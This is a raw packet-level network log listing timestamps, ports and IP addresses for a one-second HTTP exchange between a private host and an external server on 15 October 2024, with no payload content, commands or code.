Oct 15, 2024 19:22:12.112023115 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112050056 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112112999 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112266064 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112301111 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112319946 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112329006 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112346888 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112370968 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112390995 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112391949 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112416029 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112425089 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112452030 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112468958 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112493992 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112515926 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112519979 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112519979 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112632990 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112649918 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112665892 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112684011 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112711906 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112869024 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112884045 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112911940 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.112919092 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112960100 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.152471066 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.152529955 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.152604103 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.152818918 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.197526932 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.232531071 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232561111 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232594967 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232611895 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.232614994 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232644081 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232667923 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232691050 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.232709885 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.232799053 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232820034 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232851982 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232866049 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.232872963 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232899904 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.232948065 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.233231068 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233263969 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233285904 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233324051 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.233354092 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.233376980 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233397961 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233448029 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.233725071 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233745098 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233769894 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233795881 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.233903885 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233936071 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233953953 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.233953953 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.233998060 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.271104097 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.271140099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.271162033 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.271213055 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.271651030 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.271733999 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.353008032 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353017092 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353064060 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353075981 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.353082895 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353108883 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353132963 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353158951 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.353183985 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.353261948 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353283882 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353305101 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353327036 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353332043 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.353364944 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.353414059 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.353980064 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354003906 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354024887 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354026079 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.354073048 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.354094982 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354114056 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354137897 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354156971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354165077 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.354201078 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354203939 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.354306936 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354372978 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354372978 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.354393005 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.354441881 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.394834042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.394854069 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.394886971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.394902945 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.394912004 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.394933939 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.394953012 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.394959927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.395003080 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.473102093 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473118067 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473144054 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473208904 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473257065 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473274946 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473334074 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473346949 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473476887 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.473476887 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.473476887 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.473476887 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.473716021 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473735094 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.473758936 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474085093 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.474299908 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474370003 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474387884 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474508047 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.474508047 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.474519014 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474539995 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474564075 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474587917 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474610090 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.474651098 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474661112 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.474786043 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474806070 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474836111 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.474836111 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.474881887 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.513091087 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.513120890 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.513134003 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.513226986 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.513231039 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.513262033 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.513279915 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.513303041 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.513340950 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.514444113 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.514457941 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.514513016 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.615252018 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615267992 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615294933 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615345955 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.615365982 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615391970 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615418911 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615437031 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.615438938 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615467072 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.615524054 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615545034 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615569115 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615578890 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.615612030 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.615648031 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615715981 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615730047 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615773916 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.615880013 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615900993 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615926027 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615936995 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.615951061 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.615979910 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.616033077 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.616051912 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.616076946 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.616079092 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.616121054 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.633840084 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.633856058 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.633893967 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.633908987 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.633934975 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.634021044 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.676450968 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.676527023 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.676620007 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.712724924 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.712742090 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.712775946 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.712796926 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.712815046 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.712902069 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.712923050 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.712927103 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.712946892 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.712976933 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.713340998 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.713404894 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.713404894 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.713512897 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.713558912 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.713573933 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.713618994 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.713638067 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.713666916 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.713804007 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.713824034 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.713855982 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.714056969 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.714076042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.714101076 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.714107990 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.714147091 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.714154959 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.714178085 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.714220047 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.734791994 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.734812975 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.734838009 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.734867096 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.753752947 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.753814936 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.753860950 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.753881931 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.753920078 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.753973007 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.753987074 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.754014015 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.754036903 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.806900978 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.833022118 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833097935 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833117008 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833177090 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.833199024 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833218098 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833241940 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833257914 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.833266020 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833295107 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.833349943 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833383083 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833404064 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833410025 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.833456993 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.833549976 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833601952 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833620071 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833663940 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.833729982 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833749056 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833772898 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833787918 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.833795071 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833815098 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.833960056 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.833980083 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.834008932 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.854710102 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.854743958 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.854767084 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.854779005 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.854841948 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.855021000 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.855040073 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.855087996 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.873166084 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.873183966 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.873207092 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.873279095 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.919971943 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.919987917 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.920012951 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.920073032 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.954355001 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954385042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954402924 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.954406977 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954459906 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.954519033 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954539061 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954562902 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954577923 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954582930 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.954613924 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.954722881 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954739094 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954766035 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954787016 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.954874039 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954936981 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.954977036 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.954993010 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.955035925 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.955038071 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.955056906 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.955082893 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.955107927 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.955203056 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.955218077 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.955245972 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.955248117 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.955290079 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.976808071 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.976932049 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.976958990 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.976980925 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.976984024 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.977005959 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.977031946 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.993976116 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.994024038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.994044065 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.994046926 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.994096041 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.044601917 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.044836044 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.044855118 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.044879913 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.044895887 CEST	49705	80	192.168.2.5	87.120.127.223
